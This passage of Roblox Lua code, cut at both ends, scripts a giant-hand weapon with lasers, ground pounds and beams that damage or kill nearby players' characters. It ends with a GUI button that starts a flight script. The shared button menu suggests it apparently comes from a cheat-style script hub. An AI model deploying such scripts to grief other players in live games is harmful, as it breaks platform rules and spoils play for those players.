c1(w["c1"],spee,-70,20,-0) c1(w["c2"],spee,40,0,0)
c1(w["c3"],spee,20,0,0)
c1(w["d1"],spee,-70,65,-0) c1(w["d2"],spee,40,0,0)
c1(w["d3"],spee,20,0,0)
c1(w["e1"],spee,-70,150,0) c1(w["e2"],spee,30,0,0)
c1(w["e3"],spee,30,0,0)
elseif form == "grab3" then
c1(w["a1"],spee,-30,-40,30) c1(w["a2"],spee,50,0,0)
c1(w["a3"],spee,35,0,0)
c1(w["b1"],spee,-30,-15,12) c1(w["b2"],spee,50,0,0)
c1(w["b3"],spee,35,0,0)
c1(w["c1"],spee,-30,15,-12) c1(w["c2"],spee,50,0,0)
c1(w["c3"],spee,35,0,0)
c1(w["d1"],spee,-30,40,-30) c1(w["d2"],spee,50,0,0)
c1(w["d3"],spee,35,0,0)
c1(w["e1"],spee,-55,205,0) c1(w["e2"],spee,30,0,0)
c1(w["e3"],spee,30,0,0)
end
end
function ColFings(iscol)
pPinkie1.CanCollide = iscol
pPinkie2.CanCollide = iscol
pPinkie3.CanCollide = iscol
pRing1.CanCollide = iscol
pRing2.CanCollide = iscol
pRing3.CanCollide = iscol
pMid1.CanCollide = iscol
pMid2.CanCollide = iscol
pMid3.CanCollide = iscol
pPoint1.CanCollide = iscol
pPoint2.CanCollide = iscol
pPoint3.CanCollide = iscol
pThumb1.CanCollide = iscol
pThumb2.CanCollide = iscol
pThumb3.CanCollide = iscol
end
function ray(Pos, Dir)
return Workspace:FindPartOnRay(Ray.new(Pos, Dir.unit *999), c)
end
function Earthsplosion(pos,siz,dmg,rndmg,forc,eos) local colz22 = "Really
red" if eos == nil or eos == "earth" then eos = "earth" else colz22 = "Really
black" eos = "sand" end
coroutine.resume(coroutine.create(function()
if eos == "earth" then local cr =
pa(m,"Block",((14*siz)/10)*s,0,((14*siz)/10)*s,false,false,1,0,"") cr.Anchored =
true cr.CFrame = pos *ca(rd(0),rd(ra(-360,360)),rd(0)) cr.CFrame = cr.CFrame +
v3(ra(-siz*10,siz*10)/22,0,ra(-siz*10,siz*10)/22)
local de = it("Decal",cr) de.Face = "Top" de.Texture =
asset .. Decs.Crack Serv.d:AddItem(cr,25) end
for i=1,4 do
coroutine.resume(coroutine.create(function()
local sw =
pa(m,"Block",(siz/3)*s,(siz*1.3)*s,(siz/3)*s,true,true,0,0,colz22) sw.Anchored =
true sw.CFrame = pos *cf(ra(-3*s,3*s),0,ra(-3*s,3*s)) *ca(rd(ra(-27,27)),rd(ra(-
360,360)),rd(ra(-27,27))) local swm = it("SpecialMesh",sw) if eos == "earth" then
swm.MeshType = "FileMesh"
swm.MeshId = asset .. Decs.Spike else
swm.MeshType = "Sphere" end if eos == "earth" then swm.Scale =
v3(sw.Size.x/1.3,sw.Size.y*1.2,sw.Size.z/1.3)
else swm.Scale =
v3(sw.Size.x/10,sw.Size.y/37,sw.Size.z/10) end sw.CFrame = sw.CFrame + v3(ra(-
0.3*siz*s,0.3*siz*s,7),0,ra(-0.3*siz*s,0.3*siz*s)) sw.CFrame = sw.CFrame * cf(0,-
sw.Size.y/1.4,0)
Dustplosion(cf(pos.p+v3(0,2*s,0)),18*s,{"Really
red","Really black","Really red"},1)
if eos == "earth" then
for x=1,8 do
sw.CFrame = sw.CFrame
*cf(0,sw.Size.y/8,0) wait() end wait(ra(1,5))
for x=1,20 do
sw.CFrame = sw.CFrame
*cf(0,-sw.Size.y/20,0) wait()
end sw:Remove()
else
for x=1,25 do
sw.CFrame = sw.CFrame
*cf(0,sw.Size.y/25,0) sw.Transparency = x/25 - 0.1 swm.Scale = swm.Scale +
v3(0.025,0.025,0.025) wait() end
end sw:Remove()
end)) end
wait(0.3)
DmgHumanoidsNear(pos.p,dmg,rndmg,5.5*s*(siz/4),forc)
end))
end
function Dustplosion(onb,scale,col,cls)
coroutine.resume(coroutine.create(function()
for x=1,cls do coroutine.resume(coroutine.create(function()
local sw =
pa(m,"Block",1*s,0,1*s,false,false,0.2,0,col[ra(1,#col)]) sw.Anchored = true
sw.CFrame = onb *ca(rd(ra(-35,35)),rd(ra(-360,360)),rd(ra(-35,35))) local swm =
it("SpecialMesh",sw) swm.MeshType = "FileMesh"
swm.MeshId = asset .. Decs.Cloud sw.CFrame =
sw.CFrame + v3(ra(-scale,scale)/8,ra(-scale,scale)/8,ra(-scale,scale)/8)
for i=1,scale,0.25 do
swm.Scale = v3(i*1.5,i*1,i*1.5) sw.Transparency
= ((i/scale)/2) + 0.45
wait()
end
sw:Remove()
end)) end
end)) end
function ShockWave(onb,scale,col)
coroutine.resume(coroutine.create(function() local sw =
pa(m,"Block",1*s,0,1*s,false,false,0.2,0,col) sw.Anchored = true sw.CFrame = onb
*ca(rd(90),0,0) local swm = it("SpecialMesh",sw) swm.MeshType = "FileMesh"
swm.MeshId = RingMesh.MeshId
for i=1,scale,0.75 do swm.Scale = v3(i*1.5,i*1.5,i*1.5)
sw.Transparency = (i/scale) + 0 wait() end sw:Remove() end)) end
function BlastWave(onb,scale,ymes,col)
coroutine.resume(coroutine.create(function()
local sw = pa(m,"Block",1*s,0,1*s,false,false,0.2,0,col)
sw.Anchored = true sw.CFrame = onb *ca(rd(0),0,0) local swm = it("SpecialMesh",sw)
swm.MeshType = "FileMesh"
swm.MeshId = BlastMesh.MeshId
for i=1,scale,scale/11 do
swm.Scale = v3(i*1.25,i*ymes,i*1.25) sw.CFrame = sw.CFrame
*ca(0,rd(720*(i/scale)),0) sw.Transparency = (i/scale) + 0
wait()
end
sw:Remove()
end))
end
function Explode(onb,scale,col) local Torm = m
coroutine.resume(coroutine.create(function() local e1 = Instance.new("Part")
e1.Anchored = true e1.formFactor = "Custom" e1.CanCollide = false e1.Size =
Vector3.new(1,1,1) e1.BrickColor = BrickColor.new(col)
e1.Transparency = 0.6 e1.TopSurface = 0 e1.BottomSurface = 0
e1.Parent = Torm e1.CFrame = onb local e1m = Instance.new("SpecialMesh")
e1m.MeshType = "Sphere" e1m.Parent = e1 local r1 =
Instance.new("Part") r1.Anchored = true r1.formFactor = "Custom" r1.CanCollide =
false r1.Size = Vector3.new(1,1,1) r1.BrickColor = BrickColor.new(col)
r1.Transparency = 0.6 r1.TopSurface = 0 r1.BottomSurface = 0 r1.Parent = Torm
r1.CFrame = e1.CFrame *CFrame.Angles(math.rad(180),0,0) local r1m =
Instance.new("SpecialMesh") r1m.MeshType = "FileMesh"
r1m.Scale = Vector3.new(3,3,3) r1m.Parent = r1 r1m.MeshId =
RingMesh.MeshId local r2 = Instance.new("Part") r2.Anchored = true r2.formFactor =
"Custom" r2.CanCollide = false r2.Size = Vector3.new(1,1,1) r2.BrickColor =
BrickColor.new(col) r2.Transparency = 0.6 r2.TopSurface = 0 r2.BottomSurface = 0
r2.Parent = Torm r2.CFrame = e1.CFrame *CFrame.Angles(0,math.rad(180),0) local r2m
= Instance.new("SpecialMesh") r2m.MeshType = "FileMesh"
r2m.Parent = r2 r2m.Scale = Vector3.new(3,3,3) r2m.MeshId =
RingMesh.MeshId local bla = Instance.new("Part") bla.Anchored = true
bla.formFactor = "Custom" bla.CanCollide = false bla.Size =
Vector3.new(1,1,1) bla.BrickColor = BrickColor.new(col) bla.Transparency = 0.6
bla.TopSurface = 0 bla.BottomSurface = 0 bla.Parent = Torm bla.CFrame = onb local
blam = Instance.new("SpecialMesh")
blam.MeshType = "FileMesh" blam.Parent = bla blam.Scale =
Vector3.new(5,5,5) blam.MeshId = BlastMesh.MeshId for i=1,30 do local pluscal =
scale/38 e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal)
r1m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal) r2m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale +
Vector3.new(pluscal,pluscal/2,pluscal) bla.CFrame = bla.CFrame *
CFrame.Angles(0,math.rad(12),0) r1.CFrame = r1.CFrame *
CFrame.Angles(math.rad(6),0,0) r2.CFrame = r2.CFrame *
CFrame.Angles(0,math.rad(6),0) wait() end for i=1,30 do local pluscal = scale/38
e1m.Scale = e1m.Scale + Vector3.new(pluscal,pluscal,pluscal) r1m.Scale = r1m.Scale
+ Vector3.new(pluscal,pluscal,pluscal) r2m.Scale = r1m.Scale +
Vector3.new(pluscal,pluscal,pluscal)
blam.Scale = blam.Scale +
Vector3.new(pluscal/3,pluscal/3,pluscal/3) bla.CFrame = bla.CFrame *
CFrame.Angles(0,math.rad(12),0) r1.CFrame = r1.CFrame *
CFrame.Angles(math.rad(6),0,0) r2.CFrame = r2.CFrame *
CFrame.Angles(0,math.rad(6),0) bla.Transparency = bla.Transparency + 0.1
e1.Transparency = e1.Transparency + 0.1 r1.Transparency = r1.Transparency + 0.1
r2.Transparency = r2.Transparency + 0.1 wait() end e1:Remove() r1:Remove()
r2:Remove() end)) end
function Hurtsplosion(pos,dmg,rndmg,siz,forc)
coroutine.resume(coroutine.create(function() local boomcol = {"Really
red","Really black","Really red"}
for i=1,3 do
coroutine.resume(coroutine.create(function()
local plos =
pa(m,"Block",1*s*siz,1.5*s*siz,0.7*s*siz,false,false,0.3,0,boomcol)
spm("Sphere",plos,1) plos.Anchored = true
plos.CFrame = cf(pos + v3(0,0,0)) * ca(rd(ra(-
360,360)),rd(ra(-360,360)),rd(ra(-360,360)))
plos.Mesh.Scale = v3(0.1,0.1,0.1)
for i=0.3,1,0.03 do local plc = plos.CFrame
plos.Mesh.Scale = v3(i*6,i*6,i*6)
plos.Transparency = i plos.CFrame = plc * ca(rd(3),rd(3),0)
wait()
end
plos:Remove()
end))
end
end))
wait(0.1)
DmgHumanoidsNear(pos,dmg,rndmg,5.5*s*siz,forc)
end
function DmgHumanoidsNear(pos,dmg,rndmg,mag,forc)
local function kidive(ob)
for i,v in pairs(ob:children()) do
if v:IsA("BasePart") and
v.Parent.Parent:findFirstChild("Humanoid") == nil and
v.Parent:findFirstChild("Humanoid") == nil and (v.Position - pos).magnitude <
mag*1.3 and v.Anchored == false and v:GetMass() < 150 then
v:BreakJoints() v.Velocity =
cf(pos,v.Position).lookVector*forc
end
if v:IsA("Humanoid") and v ~= hu and
v.Parent:findFirstChild("Torso") then
if (pos - v.Parent.Torso.Position).magnitude < mag
then local tdmg = dmg*ra(1,rndmg)
if v.Parent:findFirstChild("Hh") == nil then
local hh= Instance.new("NumberValue",v.Parent) hh.Name = "Hh"
hh.Value = v.Health - tdmg else
v.Parent.Hh.Value = v.Health - (tdmg*3.5) end
v.Health = v.Parent.Hh.Value if
v.Parent.Hh.Value < 1 then v.Parent:BreakJoints() end
end
end
if v:IsA("Model") or v:IsA("Workspace") then kidive(v) end
end end
kidive(workspace)
end
function Fire(bullet,typez,siz,dmg,rndmg,forc)
if typez == 1 then
bullet.Anchored = true
local bullethit = false
local tyms = 0
repeat
tyms = tyms + 2
local bhit,bpos = ray(bullet.Position,bullet.Position -
(bullet.CFrame *cf(0,0,-1)).p)
if bpos ~= nil and (bpos - bullet.Position).magnitude < 7
then bullethit = true else bullet.CFrame = bullet.CFrame *cf(0,0,-1*s) *ca(rd(-
0.0025),rd(0),0) end
if tyms%32 == 0 then wait() end
until bullethit or bullet.Position.y < -300 or tyms > 800
bullet.CFrame = bullet.CFrame *cf(0,0,8) bullet:Remove()
if bullet.Position.y < -300 then
else
Hurtsplosion(bullet.Position,dmg,rndmg,siz,forc)
end
elseif typez == 2 then
bullet.Anchored = true
local bullethit = false
local tyms = 0
local ming = 0.001
repeat
if tyms > 70 and (ming == 0.001 or ming == -2.5) then ming
= -2.5
local bpos = (bullet.CFrame *cf(0,0,-300)).p if
(bpos - v3(Palm.Position.x,bpos.y,Palm.Position.z)).magnitude < 25*s then ming = 0
end
end
tyms = tyms + 2
local bhit,bpos = ray(bullet.Position,bullet.Position -
(bullet.CFrame *cf(0,0,-1)).p)
if bpos ~= nil and (bpos - bullet.Position).magnitude < 7
then bullethit = true else bullet.CFrame = bullet.CFrame *cf(0,0,-0.5)
*ca(rd(ming),rd(0),0) end
if tyms%16 == 0 then wait() end
until bullethit or bullet.Position.y < -300 or tyms > 500
bullet.CFrame = bullet.CFrame *cf(0,0,8) bullet:Remove()
if bullet.Position.y < -300 then
else
Hurtsplosion(bullet.Position,dmg,rndmg,siz,forc)
end
elseif typez == 3 then
end
end
function ShortifiedAnim(theanim)
if theanim == "Beam" then
local crom = pa(m,"Block",0,0,0,true,true,0.5,0,LaserCol3) local
cromm = it("SpecialMesh",crom) cromm.MeshType = "FileMesh" cromm.MeshId = asset ..
Decs.Crown
cromm.Scale = v3(15*s,5*s,15*s) crom.Anchored = true --local
cromw = weld(crom,Palm,crom,0,Palm.Size.y/3.6,-Palm.Size.z*1.8,rd(-90),0,0)
dias = {} loldiv = 360/8 for x=0,360,loldiv do
local dia = pa(m,"Block",0,0,0,false,false,0,0,LaserCol2)
dia.Anchored = true local diam = it("SpecialMesh",dia) diam.MeshType = "FileMesh"
diam.MeshId = DiamondMesh.MeshId
diam.Scale = v3(3*s,9*s,3*s) table.insert(dias,dia)
end Button = true coroutine.resume(coroutine.create(function()
local tardz = 0 repeat wait() tardz = tardz+ 15
crom.CFrame = Palm.CFrame *ca(rd(-90),0,0)
*cf(0,5.5*s,2*s) *ca(0,rd(tardz),0)
for rofl=1,#dias do dias[rofl].CFrame = crom.CFrame
*ca(0,rd(rofl*loldiv),0) *cf(0,-19*s,0) *ca(rd(25),0,0) *cf(0,32*s,0) end
until not Button for x2=0.5,1,0.05 do wait()
crom.Transparency = x2 end end))
coroutine.resume(coroutine.create(function() for xk=1,0.5,-0.02
do wait() for i=1,#dias do dias.Transparency =xk end end end))
wait(1) local beamoffset = v3(0,0,0)
local b1 =
pa(m,"Ball",10*s,10*s,10*s,false,false,0.1,0,LaserCol) b1.Anchored = true
local b2 = pa(m,"Block",10*s,1,10*s,false,false,0.1,0,LaserCol)
b2.Anchored = true local b2m = it("CylinderMesh",b2)
local b3 =
pa(m,"Ball",10*s,10*s,10*s,false,false,0.1,0,LaserCol) b3.Anchored = true
local bpos = nil local bhit = nil local ts = 0
repeat beamoffset = v3(ra(-2*s,2*s),ra(-2*s,2*s),ra(-2*s,2*s))
ts = ts + 1
bhit,bpos = ray(Palm.Position,Palm.Position - (Palm.CFrame
*cf(0,0,1)).p)
if bhit == nil or (Palm.Position - bpos).magnitude > 1500
then break end
b1.CFrame = Palm.CFrame *cf(0,3*s,-11*s)
b3.CFrame = cf(bpos) local lenz = (b1.Position -
b3.Position).magnitude
b2.CFrame = cf(b1.Position,b3.Position) *ca(rd(90),0,0)
*cf(0,-lenz/2,0) b2m.Scale = v3(1,lenz,1)
b1.CFrame = b1.CFrame + beamoffset b2.CFrame = b2.CFrame +
beamoffset b3.CFrame = b3.CFrame + beamoffset
if ts%10 == 0 then DmgHumanoidsNear(b3.Position,3,10,
(14*s)+2,100) Explode(b3.CFrame*cf(0,b3.Size.y/3,0),25*s,LaserCol2) end
wait() until not Button or ts > 600
coroutine.resume(coroutine.create(function() for xk=0.1,1.1,0.08
do wait() b1.Transparency = xk b2.Transparency = xk b3.Transparency = xk end
b1:Remove() b2:Remove() b3:Remove() end))
coroutine.resume(coroutine.create(function() for xk=0.5,1.1,0.02
do wait() for i=1,#dias do dias.Transparency =xk end end end))
wait(1) clearit(dias) crom:Remove()
end
end
PalmLev = it("BodyPosition",Palm)
PalmFace = it("BodyGyro",Palm) PalmFace.maxTorque = v3(0,0,0)
coroutine.resume(coroutine.create(function()
PalmLev.position = (t.CFrame *cf(handoffset)).p
local yspi = 0
while true do yspi = yspi + 8
if Anim.a == "Gun" or Anim.a == "Ride" or Anim.a == "Pound" then
Facing = "Mouse" bgx = -90 bgy = 90 bgz = 0
elseif Anim.a == "Fu" or Anim.a == "Fist" or Anim.a ==
"GroundGrip" then
Facing = "Mouse" bgx = -90 bgy = 0 bgz = 0
elseif Anim.a == "Splat" or Anim.a == "Beam" then
Facing = "Mouse" bgx = 0 bgy = 0 bgz = 0
elseif Anim.a == "None" then
Facing = "Owner" bgx = -90 bgy = 0 bgz = 0 Posing =
"Follow"
elseif Anim.a == "Shower" then
Facing = "None" bgx = 0 bgy = 0 bgz = 0 Posing = "TopOwner"
end
if Posing == "Follow" then
PalmLev.maxForce = v3(1/0,1/0,1/0) PalmLev.position =
(t.CFrame *cf(handoffset) *cf(0,0,0)).p
elseif Posing == "TopOwner" then
PalmLev.maxForce = v3(1/0,1/0,1/0) PalmLev.position =
(t.CFrame *cf(0,12*s,0)).p
end
if Facing == "Owner" then
PalmFace.maxTorque = v3(1/0,1/0,1/0) PalmFace.cframe =
cf(Palm.Position,he.Position) *ca(rd(bgx),rd(bgy),rd(bgz))
elseif Facing == "Mouse" and mou ~= nil and Equip then
if Anim.a == "Gun" or Anim.a == "Beam" or Anim.a == "Ride"
or Anim.a == "GroundGrip" or Anim.a == "Fu" or Anim.a == "Pound" or Anim.a ==
"Splat" or Anim.a == "Fist" then
if Anim.b == "None" or Anim.a == "Beam" or Anim.a ==
"Ride" then
PalmFace.cframe = cf(Palm.Position,mou.Hit.p)
*ca(rd(bgx),rd(bgy),rd(bgz)) wait(0.05)
end end end
wait(0.05)
end
end))
function FireFinger(lasercol,ffingz,targ,typez,siz,dmg,rndmg,forc)
coroutine.resume(coroutine.create(function()
local laser =
pa(m,"Block",fingwide*1.3,fingwide*1.3,fingwide*2.5,true,false,0,0,lasercol)
spm("Sphere",laser,1+(siz/5.5)) laser.Name = "Projectile"
local lw = weld(laser,ffingz,laser,0,ffingz.Size.y/0.8
+(siz/2.5),0,rd(90),0,0)
for i=1,0.4,-0.05 do laser.Transparency = i wait() end
BlastWave(ffingz.CFrame*cf(0,ffingz.Size.y*1.3,0)*ca(0,0,0),ffingz.Size.x*1.6,1.8,L
aserCol2)
lw:Remove() laser.CFrame = cf(laser.Position,targ)
Fire(laser,typez,siz,dmg,rndmg,forc)
end))
end
GrabWeld = it("Weld",m)
Palm.Touched:connect(function(touch)
if Anim.a == "Ride" and GrabWeld.Part1 == nil and
touch.Parent:findFirstChild("Torso") and touch.Parent:findFirstChild("Humanoid")
then
local tor = touch.Parent.Torso
touch.Parent.Humanoid.PlatformStand = true
GrabWeld.Part0 = Palm GrabWeld.Part1 = tor GrabWeld.C0 = cf(-
3*s,4.5*s,-Palm.Size.x/2) GrabWeld.C1 = ca(0,rd(90),rd(-90)) *ca(0,rd(0),0)
end
end)
re(bp,"Hand")
hb = it("HopperBin",bp) hb.Name = "Hand"
hb.Selected:connect(function(mouse) mou = mouse Equip = true
mouse.KeyDown:connect(function(k) k = k:lower()
if Anim.a == "Ride" and k == "f" then
FireFinger(LaserCol,pPinkie3,mouse.Hit.p,1,2.25,1,18,30) end
if Anim.b ~= "None" or Anim.Welding ~= 0 then return end
if Anim.a == "None" then
if k == "f" then -- on anim on
Anim.a = "Gun" HandSign("Gun",0.7)
elseif k == "p" then
Anim.a = "Fu" HandSign("f",1)
elseif k == "g" then
Anim.a = "Fist" HandSign("fist",1)
elseif k == "c" then
Anim.a = "Splat" HandSign("wide",1)
elseif k == "r" then
Anim.a = "Ride" HandSign("ride",1) Posing = "None"
elseif k == "v" then
Anim.a = "Shower" HandSign("grab2",1)
PalmFace.cframe = cf(0,0,0) *ca(0,0,0)
elseif k == "b" then
Anim.a = "Pound" HandSign("fist",1)
elseif k == "x" then
Anim.a = "GroundGrip" HandSign("grab2",1)
elseif k == "z" then
Anim.a = "Beam" HandSign("wide2",1)
end
else
if k == "f" and Anim.a == "Gun" then -- on anim off
Anim.a = "None" HandSign("five",0.8)
elseif k == "p" and Anim.a == "Fu" then
Anim.a = "None" HandSign("five",0.8)
elseif k == "g" and Anim.a == "Fist" then
Anim.a = "None" HandSign("five",0.8)
elseif k == "c" and Anim.a == "Splat" then
Anim.a = "None" HandSign("five",0.8)
elseif k == "r" and Anim.a == "Ride" then
Anim.a = "None" HandSign("five",0.8) GrabWeld.Part0
= nil Anim.b = "None" Posing = "Follow" Facing = "Owner"
if GrabWeld.Part1 ~= nil and
GrabWeld.Part1.Parent:findFirstChild("Humanoid") ~= nil then
GrabWeld.Part1.Parent.Humanoid.PlatformStand = false end GrabWeld.Part1 = nil
elseif k == "v" and Anim.a == "Shower" then
Anim.a = "None" HandSign("five",0.8) Posing =
"Follow" Facing = "Owner"
elseif k == "b" and Anim.a == "Pound" then
Anim.a = "None" HandSign("five",0.8)
elseif k == "x" and Anim.a == "GroundGrip" then
Anim.a = "None" HandSign("five",0.8)
elseif k == "z" and Anim.a == "Beam" then
Anim.a = "None" HandSign("five",0.8)
end
end
end)
mouse.Button1Down:connect(function()
if Anim.a == "None" or Anim.b ~= "None" then return end
if Anim.a == "Gun" then
Anim.b = "Gun"
FireFinger(LaserCol,pPoint3,mouse.Hit.p,1,2.25,1,10,60)
FireFinger(LaserCol,pMid3,mouse.Hit.p,1,2.25) wait(1) Anim.b = "None"
elseif Anim.a == "Fu" then
Anim.b = "Fu"
FireFinger(LaserCol,pMid3,mouse.Hit.p,1,3.65,2,14,95) wait(0.25) Anim.b = "None"
elseif Anim.a == "Fist" then
local bhit,bpos = ray(Palm.Position,Palm.Position -
(Palm.CFrame *cf(0,-1,0)).p)
if bhit == nil or (Palm.Position - bpos).magnitude > 500
then return end
Anim.b = "Fist" Posing = "None" PalmFace.cframe =
cf(Palm.Position,bpos) *ca(rd(-90),0,0)
PalmLev.position = (Palm.CFrame *cf(0,-15*s,0)).p
wait(0.45)
PalmLev.position = bpos + ((Palm.CFrame *cf(0,1*s,0)).p -
Palm.Position)
local tz = 0 repeat wait()
BlastWave(Palm.CFrame*ca(rd(180),0,0),8*s,3.5,HCol) tz = tz + wait() until
(PalmLev.position - Palm.Position).magnitude < 8*s or tz > 1
Explode(Palm.CFrame *cf(0,6*s,0)
*ca(rd(180),0,0),15*s,ts(bhit.BrickColor))
DmgHumanoidsNear((Palm.CFrame *cf(0,8,0)).p,3,10,(12*s)
+2,105)
if not bhit.Anchored then PalmLev.position = (Palm.CFrame
*cf(0,12*s,0)).p wait(0.5) end
wait(1) Posing = "Follow" Anim.b = "None"
elseif Anim.a == "Splat" then
if mouse.Target == nil and (Palm.Position -
mouse.Hit.p).magnitude > 500 then return end local bpos = mouse.Hit.p
Anim.b = "Splat" Posing = "None"
local ya,yb,yc = PalmFace.cframe:toEulerAnglesXYZ()
PalmFace.cframe = cf(0,0,0) *ca(0,yb,0) *ca(rd(-90),0,0) PalmLev.position = bpos +
v3(0,10*s,0)
local tz = 0 repeat wait() tz = tz + wait() until
(PalmLev.position - Palm.Position).magnitude < 5*s or tz > 1.3
for i=-90,0,5 do
PalmLev.position = PalmLev.position + v3(0,2*s,0)
PalmFace.cframe = cf(0,0,0) *ca(0,yb,0) *ca(rd(i),0,0)
wait()
end wait(0.2)
for i=0,-100,-10 do
local lewd = i
if lewd < -50 then lewd = -95 end
PalmLev.position = PalmLev.position - v3(0,4.7*s,0)
PalmFace.cframe = cf(0,0,0) *ca(0,yb,0) *ca(rd(lewd),0,0)
wait()
end wait(0.2)
local cr = pa(m,"Block",16*s,0,16*s,false,false,1,0,"")
cr.Anchored = true cr.CFrame = cf(bpos) *ca(0,rd(ra(-360,360)),0)
local de = it("Decal",cr) de.Face = "Top" de.Texture =
asset .. Decs.Crack Serv.d:AddItem(cr,16)
DmgHumanoidsNear((Palm.CFrame *cf(0,0,-1)).p,3,20,(15*s)
+2,110)
ShockWave(Palm.CFrame *ca(rd(90),0,0),25*s,LaserCol)
wait(1) Posing = "Follow" Anim.b = "None"
elseif Anim.a == "Ride" and Button == false then
Posing = "None" Anim.b = "Ride"
Button = true
repeat PalmLev.position = (Palm.CFrame *cf(0,10,0)).p
wait() until Button == false
Anim.b = "None"
elseif Anim.a == "Shower" and Button == false then
Anim.b = "Shower" Button = true
repeat
local targz = Palm.Position + v3(0,20*s,0)
if ra(1,12) == 1 then
FireFinger(LaserCol,pPinkie3,targz,2,4,1,18,55) end
if ra(1,13) == 1 then
FireFinger(LaserCol,pRing3,targz,2,4,1,18,60) end
if ra(1,12) == 1 then
FireFinger(LaserCol,pMid3,targz,2,4,1,18,65) end
if ra(1,13) == 1 then
FireFinger(LaserCol,pPoint3,targz,2,4,1,18,70) end
if ra(1,12) == 1 then
FireFinger(LaserCol,pThumb3,targz,2,4,1,18,80) end
PalmFace.cframe = PalmFace.cframe *ca(0,rd(10),0)
wait()
until Button == false
Anim.b = "None"
elseif Anim.a == "Pound" and Anim.b == "None" then Posing =
"None" Anim.b = "Pound"
local bhit,bpos = ray(Palm.Position,Palm.Position -
(Palm.CFrame *cf(0,-1,0)).p)
if bhit == nil or (Palm.Position - bpos).magnitude > 500
then return end
PalmLev.position = bpos + v3(0,15*s,0)
local ya,yb,yc = PalmFace.cframe:toEulerAnglesXYZ()
PalmFace.cframe = ca(ya,yb,yc)
local tz = 0 repeat wait() tz = tz + wait() until
(PalmLev.position - Palm.Position).magnitude < 5*s or tz > 1.3 wait(0.1)
for i=-90,-10,10 do
PalmFace.cframe = ca(ya,yb,yc) *ca(0,0,rd(i+90))
PalmLev.position = PalmLev.position + v3(0,2.5*s,0)
wait() end wait(0.25) local realcf =
cf(v3(he.Position.x,0,he.Position.z),v3(Palm.Position.x,0,Palm.Position.z))
for i=-10,-90,-10 do
PalmFace.cframe = ca(ya,yb,yc) *ca(0,0,rd(i+90))
PalmLev.position = PalmLev.position - v3(0,4*s,0)
wait() end PalmFace.cframe = realcf *ca(rd(-
90),rd(90),0) wait(0.25)
local cr = pa(m,"Block",22*s,0,22*s,false,false,1,0,"")
cr.Anchored = true cr.CFrame = cf(bpos) *ca(0,rd(ra(-360,360)),0)
local de = it("Decal",cr) de.Face = "Top" de.Texture =
asset .. Decs.Crack Serv.d:AddItem(cr,16)
Dustplosion(Palm.CFrame *cf(2*s,0,0)
*ca(rd(90),0,rd(90)),30*s,{"Really red","Really black","Really red"},3)
ShockWave(Palm.CFrame *cf(2*s,0,0)
*ca(rd(90),0,rd(90)),20*s,ts(bhit.BrickColor))
DmgHumanoidsNear((Palm.CFrame *cf(0,1,0)).p,1,20,(15*s)
+2,90) wait(0.2)
local palmcf = cf(bpos) local earthsplos = ra(5,8) palmcf
= Palm.CFrame *ca(0,rd(90),0) *ca(rd(-90),0,rd(0))
for i=1,earthsplos do Earthsplosion(palmcf *cf(0,-2*s,
((i*7)+7)*s),10,1,20,75) wait(0.1) end
Earthsplosion(palmcf *cf(0,-2*s,
(((earthsplos+1)*7)+7)*s),16,2,25,75)
wait(1) Posing = "Follow" wait(0.25) Anim.b = "None"
elseif Anim.a == "GroundGrip" then Posing = "None" Anim.b =
"GroundGrip"
local bhit,bpos = ray(Palm.Position,Palm.Position -
(Palm.CFrame *cf(0,-1,0)).p)
if bhit == nil or (Palm.Position - bpos).magnitude > 500
then return end
PalmLev.position = bpos + v3(0,27*s,0) ColFings(false)
local tz = 0 repeat wait() tz = tz + wait() until
(PalmLev.position - Palm.Position).magnitude < 8*s or tz > 1.3 wait(0.1)
local thepos = (Palm.CFrame *cf(0,-0.1*s,0)).p -
Palm.Position
PalmFace.cframe = cf(Palm.Position,bpos + thepos) *ca(rd(-
90),0,0)
for i=27,1,-3 do PalmLev.position = bpos + v3(0,i*s,0)
wait(0.07) end HandSign("grab3",0.4) wait(0.55)
local ro = pa(m,"Ball",0,0,0,false,false,0,0,"Earth green")
ro.Name = "Rock" local row = it("SpecialMesh",ro) row.MeshType = "FileMesh"
row.MeshId = asset .. Decs.Rock
local rowe = weld(ro,Palm,ro,0,Palm.Size.y,-
Palm.Size.z*1.2,0,0,0) row.Scale = v3(9*s,10*s,9*s)
coroutine.resume(coroutine.create(function() for xz=1,70,7
do PalmLev.position = bpos + v3(0,xz*s,0) wait(0.06) end end))
wait(0.25) Dustplosion(cf(bpos),30*s,{"Really red","Really
black","Really red"},3) local lolra = ra(-360,360)
Earthsplosion(cf(bpos),25,1,20,125,"sand") for
yyy=0,360,60 do coroutine.resume(coroutine.create(function()
for zzz=1,4 do
Earthsplosion(cf(bpos)
*ca(0,rd(yyy+lolra),0) *cf(0,0,zzz*15*s),10,1,20,75) wait(0.14)
end wait(0.25) Earthsplosion(cf(bpos)
*ca(0,rd(yyy+lolra),0) *cf(0,0,5*18*s),25,1,20,120) end)) end
wait(0.3) HandSign("grab2",0.5) wait(0.75)
Serv.d:AddItem(ro,20) rowe:Remove() ro.CanCollide = true local rocf = ro.CFrame
ro.Size=v3(14*s,14*s,14*s) ro.CFrame = rocf wait(0.75) ColFings(true) Posing =
"Follow" Anim.b = "None"
elseif Anim.a == "Beam" and not Button and Anim.b == "None" then
Anim.b = "Beam"
ShortifiedAnim("Beam") wait(0.5) Anim.b = "None"
end
end)
mouse.Button1Up:connect(function()
Button = false
end)
mouse.Move:connect(function()
end)
end)
hb.Deselected:connect(function(mouse)
Equip = false
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = ws
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Plane"
button.Position = UDim2.new(0.5,3,0,132)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Plane"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
repeat wait() until game:IsLoaded() and
game:service("Players").LocalPlayer.Character ~= nil;
wait(0.4)
for i, v in pairs(game:service("Players").LocalPlayer.Character:children())
do
if v ~= script then
v:Destroy()
end
end
local TrailParts = {}
local Acceleration = 0.08
local Speed = 0
local MinSpeed = 0
local MaxSpeed = 3.2
local DesiredDirection = cam.CoordinateFrame.lookVector
local Direction = DesiredDirection
local Roll = 0
local AllowTrails = true
script.Name = "AdvFlight"
local P = Instance.new("Part")
P.Anchored = true
